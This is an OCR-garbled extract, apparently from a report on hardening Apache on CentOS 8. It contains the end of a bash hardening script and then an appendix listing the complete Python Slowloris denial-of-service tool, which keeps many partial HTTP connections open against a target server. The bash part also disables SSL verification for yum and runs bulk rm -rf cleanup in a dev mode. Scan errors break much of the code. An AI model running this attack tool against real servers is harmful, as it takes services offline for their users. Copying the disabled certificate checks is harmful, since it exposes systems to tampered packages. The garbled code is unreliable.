systemctl start fail2ban

jail_local=%(cat <<EOF
[ssh]

enabled = true
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port =ssh

filter =sshd

logpath = /var/log/auth.log

maxretry = 3

EOF

)
touch Avar/log/auth.log
append_config "$jail_local" $FAIL2BAN_CONFIG
systemctl restart fail2ban
systemctl status fail2ban --no-pager

}

#=== FUNCTION =============-==-=-=-=-=--=--=-—-—-—-—-—-—-—----—-——-—-—-——o—---—————————=====
# NAME: check_for_restart

# DESCRIPTION: Check if reboot needed after systemupdate
# PARAMETER: ---

ettt ettt ettt
function check_for_restart()
{
log_info "Is going to check if restart needed"”
restart="needs-restarting -r >/dev/null && echo $?°
if [[ ${restart} -ne 0 ]]; then
log_info "Reboot $HOSTNAME to install kernel or core libs."
else
LAST_KERNEL=$(rpm -q --last kernel | perl -pe 's/*kernel-(\S+).*/$1/" | head -1)
CURRENT_KERNEL=$(uname -r)
if [[ "${LAST_KERNEL}" I="${CURRENT_KERNEL}" ]]; then
log_info "Reboot $SHOSTNAME to install kernel or core libs."
else
log_info "No restart needed!"
fi
fi
}

#=== FUNCTION =============—==-==-==-=-=--=-—-=——-——-——---—-—-——-——-————-—————————=—=====
# NAME: auto_cleanup

# DESCRIPTION: Execute systemcleanup of unused libraries

# PARAMETER: ---

function auto_cleanup() {
log_info "Is going to auto cleanup the systemfrom unnecessary packages, please wait..."
yumautoremove -y

}

#=== FUNCTION ===========—==-==-=-—-=——-——-—-——---—-—-——-—-—-—-—-—-o—-—————————-—=—=—=——=====
# NAME: execute_hardening_process

# DESCRIPTION: Execute hardening process fromstep 0to 27

# PARAMETER: ---

function execute_hardening_process()

{

while true; do
case $step in
IOI)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"

check_prerequisites
increase_step $step

111




save_step $step

1
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
ssh_hardening
increase_step $step
save_step $step

2
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
secure_bootloader
increase_step $step
save_step $step

3
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
disable_unneeded modules
increase_step $step
save_step $step
)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
secure_mounts
increase_step $step
save_step $step

l5l)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
configure_sysctl_params
increase_step $step
save_step $step

'6)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
configure_user_limits
increase_step $step
save_step $step
o)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
remove_suid_bits
increase_step $step
save_step $step

.’é.)
state=$(get_value $step)
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log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"

secure_rhosts_hosts_equiv

increase_step $step

save_step $step

lgl)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
configure_tcp_wrappers
increase_step $step
save_step $step

'10")
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
configure_logindefs
increase_step $step
save_step $step

11')
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/Smax_processes_num, executing state: $state${COLOR_DEFAULT}"
configure_loginconf
increase_step $step
save_step $step

124
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
locking_new_users
increase_step $step
save_step $step
'13")
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
remove_unneeded_users
increase_step $step
save_step $step

14

state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
disable_ipv6
increase_step $step
save_step $step
15')

state=$(get_value $step)

log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"

configure_dns_resovlers

increase_step $step
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save_step $step

'16)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
lock_cronjobs
increase_step $step
save_step $step

'17)
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
configure_logrotate
increase_step $step
save_step $step

'18')
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
enable_rkhunter
increase_step $step
save_step $step
'19Y
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
enable_clamav
increase_step $step
save_step $step

20

state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
aide_ids
increase_step $step
save_step $step
21"

state=$(get_value $step)

log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"

enable_fail2Ban

increase_step $step

save_step $step

22)

state=$(get_value $step)

log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"

iptables_hardening

increase_step $step

save_step $step

23)
state=$(get_value $step)
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log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${COLOR_DEFAULT}"

apache_hardening

increase_step $step

save_step $step

24')
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
Pstep/$max_processes_num, executing state: $state${ COLOR_DEFAULT}"
mod_security
increase_step $step
save_step $step

25)

state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
mod_evasive
increase_step $step
save_step $step
'26")

state=$(get_value $step)

log_info "${COLOR_GREEN}Process
Pstep/Smax_processes_num, executing state: $state${COLOR_DEFAULT}"

auto_cleanup

increase_step $step

save_step $step

27"
state=$(get_value $step)
log_info "${COLOR_GREEN}Process
$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"
check_for_restart
increase_step $step
save_step $step

*

log_info "${COLOR_GREEN}ENnd of Apache Hardening Process
on Centos8!${COLOR _DEFAULT}"
_exit

esac
done

}

#=== FUNCTION =============—=——-=—=-—=----——-——-——-——----—-—————-—-----—=———=—=—=—=====
# NAME: no_check_ssl_certificate

# DESCRIPTION: Apply no sslcheck upon package downloading

# PARAMETER: ---

function no_check_ssl_certificate()

{
# echo insecure >> ~/.curlrc
if ! cat /etc/yum.conf | grep -i 'sslverify=false' 2> /dev/null 1>&2; then
append_config "sslverify =false" "/etc/yum.conf"
fi
}
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#=== FUNCTION ===========—==—=—-=—-=—=---—--—-——-——-——---——-—————-——--—=——=—————=—=====
# NAME: main

# DESCRIPTION: Main method of centos8-apache-hardening script
# PARAMETER: ---

function main()
{
no_check_ssl_certificate
script_logo
# Apache installation source: https://www.linode.com/docs/guides/how-to-install-apache-web-
server-centos-8/
if [ $DEV -eq 17; then # make clean up
log_info "Stared script in DEV mode"
rm -rf $FILE
rm -rf /tmp/centos8-apache-hardening.lok
rm -rf /etc/httpd/crs-rules
rm -rf $CUSTOM_CRS_CONF
rm -rf $DISABLEMOD
rm -rf $DISABLEFS
rm -rf $DISABLENET
rm -rf /etc/systemd/system/tmp.mount
rm -rf /etc/systemd/system/var-tmp.mount
rm -rf /etc/systemd/system/dev-shm.mount
rm -rf /etc/systemd/systenvdefault.target.wants/
rm -rf §CRON_DAILY_CLAMSCAN
rm -rf /var/log/clamav/
rm -rf $AIDE_CHECK_SERVICE
rm -rf $AIDE_CHECK_TIMER
rm -rf $FAIL2BAN_CONFIG
rm -rf $FAIL2BAN_SERVICE_SYMLINK
cp $HTTPD_CONF.bak $HTTPD_CONF 2> /dev/null 1>&2 && rm -rf
$HTTPD_CONF.bak
cp $BASE MODULES.bak $BASE MODULES 2> /dev/null 1>&2 && rm -rf
$BASE_MODULES.bak
cp $MOD_EVASIVE_CONF.bak $SMOD_EVASIVE_CONF 2> /dev/null 1>&2 &&
rm -rf SMOD_EVASIVE_CONF.bak
cp $MOD_SECURITY_CONF.bak $MOD_SECURITY_CONF 2> /dev/null 1>&2
&& rm -rf MOD_SECURITY_CONF.bak
cp $SSHD_CONFIG.bak $SSHD_CONFIG 2> /dev/null 1>&2 && rm -rf
$SSHD_CONFIG.bak
cp $SSHD PAM.bak $SSHD PAM 2> J/dev/null 1>&2 && rm -rf
$SSHD_PAM .bak
cp $ISSUE NET.bak $ISSUE NET 2> /dev/null 1>&2 && rm -rf
$ISSUE_NET .bak
cp $DEFAULTGRUB.bak $DEFAULTGRUB 2> /dev/null 1>&2 && rm -rf
$DEFAULTGRUB.bak
cp $CRUB_40_CUSTOM .bak $GRUB_40_CUSTOM 2> /dev/null 1>&2 && rm -rf
$GRUB_40_CUSTOM.bak
cp $SYSTEMCONF.bak $SYSTEMCONF 2> /dev/null 1>&2 && rm -rf
$SYSTEM CONF.bak
cp SUSERCONF.bak $USERCONF 2> /dev/null 1>&2 && rmm -rf
$USERCONF .bak
cp $COREDUMPCONF.bak $COREDUMPCONF 2> /dev/null 1>&2 && rm -rf
$COREDUMPCONF.bak
cp $SYSCTL.bak $SYSCTL 2> /dev/null 1>&2 && rm -rf $SYSCT Lbak
cp SLIMITSCONF.bak S$LIMITSCONF 2> /dev/null 1>&2 && rm -rf
$LIMITSCONF.bak
cp $ETC_PROFILE.bak $ETC PROFILE 2> /dev/null 1>&2 && rm -rf
$ETC_PROFILE.bak
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cp $ETC BASHRC.bak $ETC BASHRC 2> /dev/null 1>&2 && rm -rf
$ETC_BASHRC.bak
cp $NETCONFIG.bak $NETCONFIG 2> /deviull 1>&2 && rm -rf
SNETCONFIG.bak
cp $RESOLVEDCONF.bak $RESOLVEDCONF 2> /dev/null 1>&2 && rm -rf
$RESOLVEDCONF.bak
cp SNSSWIT CH.bak $SNSSWITCH 2> /dev/null 1>&2 & & rm -rf SNSSWIT CH.bak
cp $CLAMAVCONF.bak $CLAMAVCONF 2> /dev/null 1>&2 && rm -rf
$CLAMAVCONF.bak
cp $CLAMAVSERVICEbak $CLAMAVSERVICE 2> /dev/null 1>&2 && rm -rf
$CLAMAVSERVICE.bak
cp $AIDECONFIG.bak $AIDECONFIG 2> /dev/null 1>&2 && rm -rf
$SAIDECONFIG.bak
cp $LOGROTATEbak $LOGROTATE 2> /dev/null 1>&2 && rm -rf
$LOGROTATE.bak
cp $JIOURNALDCONF.bak $JOURNALDCONF 2> /dev/null 1>&2 && rm -rf
$JOURNALDCONF.hak
fi
acquire_lock
retrieve_step
execute_hardening_process

}
main "$@"
5.2 Moapdpmua 2: Koddwkag Slowloris HTTP Attack
#!/usr/bin/env python3
import argparse
import logging

import random
import socket
import sys
import time

parser = argparse.ArgumentParser(
description="Slowloris, low bandwidth stress test tool for websites"
)

parser.add_argument("host", nargs="?", help="Host to performstress test on")
parser.add_argument(
"-p","--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
ng
"--sockets",
defau lt=150,
help="Number of sockets to use in the test",
type=int,
)

parser.add_argument(
v,
"--verbose",
dest="verbose",
action="store_true",

help="Increases logging",

"

)

parser.add_argument(

ua-,
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"--randuseragents”,

dest="randuseragent",

action="store_true",

help="Randomizes user-agents with each request”,

)
parser.add_argument(
oy
"--useproxy",

dest="useproxy",

action="store_true",

help="Use a SOCKS5 proxy for connecting”,
)
parser.add_argument(

"--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)

parser.add_argument(
"--proxy-port"”, default="8080", help="SOCKS5 pro xy port", type=int
)

parser.add_argument(

"--https",

dest="https",

action="store_true",

help="Use HTTPS for the requests”,
)
parser.add_argument(

"--sleeptime”,

dest="sleeptime",

defau lt=15,

type=int,

help="Time to sleep between each header sent."”,
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
parser.print_help()
sys.exit(1)

if not args.host:
print("*Host required!")
parser.print_help()
sys.exit(1)

if args.useproxy:
# Tries to import to external "socks™ library
# and monkey patches socket.socket to connect over
# the proxy by default
try:
import socks

socks.setdefaultproxy(
socks.PROXY_TYPE SOCKSS5, args.proxy_host, args.proxy_port
)
socket.socket = socks.socksocket
logging.info("Using SOCKS5 proxy for connecting...")
except ImportError:
logging.error("Socks Proxy Library Not Available!")
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if args.verbose:
logging.basicConfig(
format="[%(asctime)s] % (message)s",
datefmt="%d-%m-%Y %H:%M :%S",
level=logging.DEBUG,
)
else:
logging.basicConfig(
format="[%/(asctime)s] % (message)s",
datefmt="%d-%m-%Y %H:%M :%S",
level=logging.INFO,
)

if args.https:
logging.info(" Importing ssl module™)
import ssl

list_of sockets =[]
user_agents =[

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_ 6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 _11_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11 6) AppleWebKit/602.1.50 (KHTML, like Gecko)
Version/10.0 Safari/602.1.50",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 _12 0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 12 0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12 1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12 1) AppleWebKit/602.2.14 (KHTML, like Gecko)
Version/10.0.1 Safari/602.2.14",

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko)
Version/10.0 Safari/602.1.50",

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; WOW&64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; W OW64; rv:49.0) Gecko/20100101 Firefox/49.0",

"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (Windows NT 6.1; Win64;, x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",

"Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (Windows NT 6.1, WOW®64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/54.0.2840.71 Safari/537.36",

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",

"Mozilla/5.0 (Windows NT 6.1, WOW64; Trident/7.0; rv:11.0) like Gecko",

"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
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"Mozilla/5.0 (Windows NT 6.3; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36",

"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

class _(socket.socket):
def send_line(self, line):
line =f'{lineP\r\n"
self.send(line.encode("utf-8"))

def send_header(self, name, value):
self.send_line(f"{name}: {value}")

socket.socket = _

def init_socket(ip):
s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.settimeout(4)

if args.https:
s =ssl.wrap_socket(s)

s.connect((ip, args.port))
s.send_line(f*GET /?{random.randint(0, 2000)} HTTP/1.1")

ua = user_agents[0]
if args.randuseragent:
ua = random.choice(user_agents)

s.send_header("User-Agent", ua)
s.send_header("Accept-language", "en-US,en,q=0.5")
return s

def main():
ip =args.host
socket_count = args.sockets
logging.info(" Attacking %s with %s sockets.", ip, socket_count)

logging.info(*" Creating sockets...")
for _ in range(socket_count):
try:
logging.debug("Creating socket nr %s", _)
s = init_socket(ip)
except socket.error as e:
logging.debug(e)
break
list_of sockets.append(s)

while True:
try:
logging.info(
"Sending keep-alive headers... Socket count: %s",
len(list_of _sockets),
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)

forsin list(list_of sockets):
try:
s.send_header("X-a", random.randint(1, 5000))
except socket.error:
list_of sockets.remove(s)

for _inrange(socket_count - len(list_of_sockets)):
logging.debug("Recreating socket...")
try:
s = init_socket(ip)
ifs:
list_of _sockets.append(s)
except socket.error as e:
logging.debug(e)
break
logging.debug("Sleeping for %d seconds”, args.sleeptime)
time.sleep(args.sleeptime)

except (Keyboardinterrupt, SystemExit):
logging.info("Stopping Slowloris™)
break

if _name__ =="_main__
main()
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